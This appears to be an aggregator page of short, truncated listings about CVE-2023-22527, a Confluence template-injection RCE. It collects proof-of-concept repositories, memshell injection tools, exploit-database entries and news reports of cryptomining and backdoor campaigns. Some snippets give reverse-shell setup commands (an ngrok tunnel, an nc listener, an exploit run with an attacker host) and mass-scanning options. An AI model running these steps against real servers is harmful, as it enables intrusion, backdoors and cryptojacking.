CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 | RCE باستخدام SSTI في Confluence الوصف يشير CVE-2023-22527 إلى ثغرة حقن القوالب من جانب الخادم في محرك Freemarker، مما يسمح للمستخدمين بتنفيذ أوامر على خادم الويب. هذا الكود هو برنامج نصي لإثبات المفهوم PoC لاستغلال CVE-2023-22527، والذي يُوصف بأنه ثغرة حقن القوالب ...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 إثبات اختراق PoC من العالم الحقيقي الاستخدام تحميل bun https://github.com/oven-sh/bun/releases تشغيل ngrok ngrok tcp 4444 الاستماع على localhost 4444 nc -nvlp 4444 تشغيل الاستغلال bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport...

CVE-2023-22527-MEMSHELL

مقدمة المشروع يستند هذا المشروع إلى مشروع الأستاذ Boogipop https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL، ويضيف على المشروع الأصلي: 1. حقن ميم شيل Behinder 2. إضافة ميزة وكيل HTTP، الاستخدام: -proxy http://127.0.0.1:8080 3. تعديل الكود الخاص بوظيفة تحليل معاملات سطر الأوامر بيئة...

patch-diff-CVE-2023-22527

لا يحتوي هذا المستودع على ملف README...

CVE-2023-22527

CVE-2023-22527 أداة استغلال لاستغلال خوادم Confluence المعرضة لثغرة CVE-2023-22527 والتي تؤدي إلى تنفيذ أوامر عن بُعد RCE، وقد تم اختبارها وإثبات فعاليتها POC على نسخ معرضة من Confluence Data Center والخوادم. من خلال هذه الأداة، يمكن للمهاجم تنفيذ أوامر عشوائية على النسخة المعرضة للخطر التثبيت: g...

CVE-2023-22527

CVE-2023-22527 Vulnérabilité d'exécution de code à distance dans Atlassian Confluence CVE-2023-22527 options: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c...

CVE-2023-22527

CVE-2023-22527 PoC الخاص بـ CVE-2023-22527...

CVE-2023-22527

أنا لست مسؤولاً عن أي هجمات غير قانونية CVE-2023-22527 نصوص الفحص الجماعي المساعدة usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD,...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL उपयोग नोट: परीक्षण संस्करण 8.5.1 है, अन्य संस्करण भी काम करेंगे, लेकिन परीक्षण नहीं किया गया। सामग्री Beichen द्वारा पिछले टूल से संदर्भित है। java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url गॉडज़िला पासवर्ड गॉडज़िला कुंजी उदाहरण java -jar...

cve-2023-22527

تنفيذ كود تعسفي في ذاكرة Confluence CVE-2023-22527 هي ثغرة أمنية معروفة على نطاق واسع تؤثر على Atlassian Confluence. معظم استغلالات هذه الثغرة تستخدم freemarker.template.utility.Execute لتنفيذ أمر من أوامر نظام التشغيل، لكنها يمكنها أن تفعل ما هو أفضل بكثير. في هذا المستودع ستجد ثلاثة تطبيقات...

CVE-2023-22527

A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server...

Exploit for Injection in Atlassian Confluence_Data_Center

CVE-2023-22527 CVE-2023-22527 | RCE using SSTI in Confluence...

Atlassian Confluence Vulnerability Exploited in Crypto Mining Campaigns

Threat actors are actively exploiting a now-patched, critical security flaw impacting the Atlassian Confluence Data Center and Confluence Server to conduct illicit cryptocurrency mining on susceptible instances. "The attacks involve threat actors that employ methods such as the deployment of shel...

Silent Intrusions: Godzilla Fileless Backdoors Targeting Atlassian Confluence

Trend Micro discovered that old Atlassian Confluence versions that were affected by CVE-2023-22527 are being exploited using a new in-memory fileless backdoor...

PT-2024-19469 · Undefined · Undefined

Atlassian flaw CVE-2023-22527 exploited in Cryptomining campaigns Atlassian CVE-2024-22527 Exploitation Cryptomining https://t.co/zUtx3YRBV9...

Cryptojacking via CVE-2023-22527: Dissecting a Full-Scale Cryptomining Ecosystem

A technical analysis on how CVE-2023-22527 can be exploited by malicious actors for cryptojacking attacks that can spread across the victim’s system...

Atlassian Confluence 8.5.3 Remote Code Execution

Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability Date: 25/1/2024 Exploit Author: MaanVader Vendor Homepage: https://www.atlassian.com/software/confluence Software Link: https://www.atlassian.com/software/confluence Version: 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3 Teste...

Atlassian Confluence < 8.5.3 - Remote Code Execution Exploit

Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability Exploit Author: MaanVader Vendor Homepage: https://www.atlassian.com/software/confluence Software Link: https://www.atlassian.com/software/confluence Version: 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3 Tested on: 8.5.3 CVE ...

Atlassian Confluence < 8.5.3 - Remote Code Execution

Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability Date: 25/1/2024 Exploit Author: MaanVader Vendor Homepage: https://www.atlassian.com/software/confluence Software Link: https://www.atlassian.com/software/confluence Version: 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3 Teste...

BianLian Threat Actors Exploiting JetBrains TeamCity Flaws in Ransomware Attacks

The threat actors behind the BianLian ransomware have been observed exploiting security flaws in JetBrains TeamCity software to conduct their extortion-only attacks. According to a new report from GuidePoint Security, which responded to a recent intrusion, the incident "began with the exploitatio...